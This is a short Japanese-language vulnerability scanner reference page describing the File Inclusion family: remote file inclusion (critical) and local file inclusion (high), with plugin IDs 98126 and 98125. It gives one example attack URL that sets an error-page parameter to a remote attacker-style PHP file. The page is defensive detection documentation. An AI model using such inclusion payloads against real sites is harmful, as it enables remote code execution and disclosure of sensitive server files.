Web アプリケーションは、後でサーバーが必要とするファイルの場所を保存するために、パラメーター値を使用することがあります。

この例はエラーページでよく見られ、エラーページの実際のファイルパスがパラメーター値に保存されています (例:「example.com/error.php?page=404.php」)。

リモートファイルインクルードは、パラメーター値 (サーバーによって呼び出されるファイルへのパス) をリモートリソースのアドレスで置き換えることができる場合に発生します (例: `yoursite.com/error.asp?page=http://anothersite.com/somethingBad.php`

場合によっては、サーバーはフェッチされたリソースを処理します。したがって、リソースに使用中のフレームワーク (ASP、PHP、JSP など) と一致するサーバー側コードが含まれている場合、そのリソースは Web アプリケーションの一部であるかのように実行される可能性があります。

スキャナーは、パラメーター値を外部リソースで置換してサーバーにフェッチさせ、その内容を応答に含めることが可能であることを検出しました。

Web アプリケーションは、後でサーバーが必要とするファイルの場所を保存するために、パラメーター値を使用することがあります。

この例はエラーページでよく見られ、エラーページの実際のファイルパスがパラメーター値に保存されています (たとえば、「example.com/error.php?page=404.php」)。

パラメーター値 (ファイルへのパス) を同じサーバー上の別のリソースのパスで置き換えることができる場合にファイルインクルードが発生し、任意の、場合によっては制限された/機密のファイルを効果的に表示できるようになります。

スキャナーは、パラメーター値を別のリソースで置換して、サーバーにリソースの内容を応答内のクライアントに返させることが可能であることを検出しました。

ID	名前	深刻度
98126	リモートファイルのインクルード	critical
98125	ローカルファイルのインクルード	high

検出

Web App Scanning の File Inclusion ファミリー

critical

high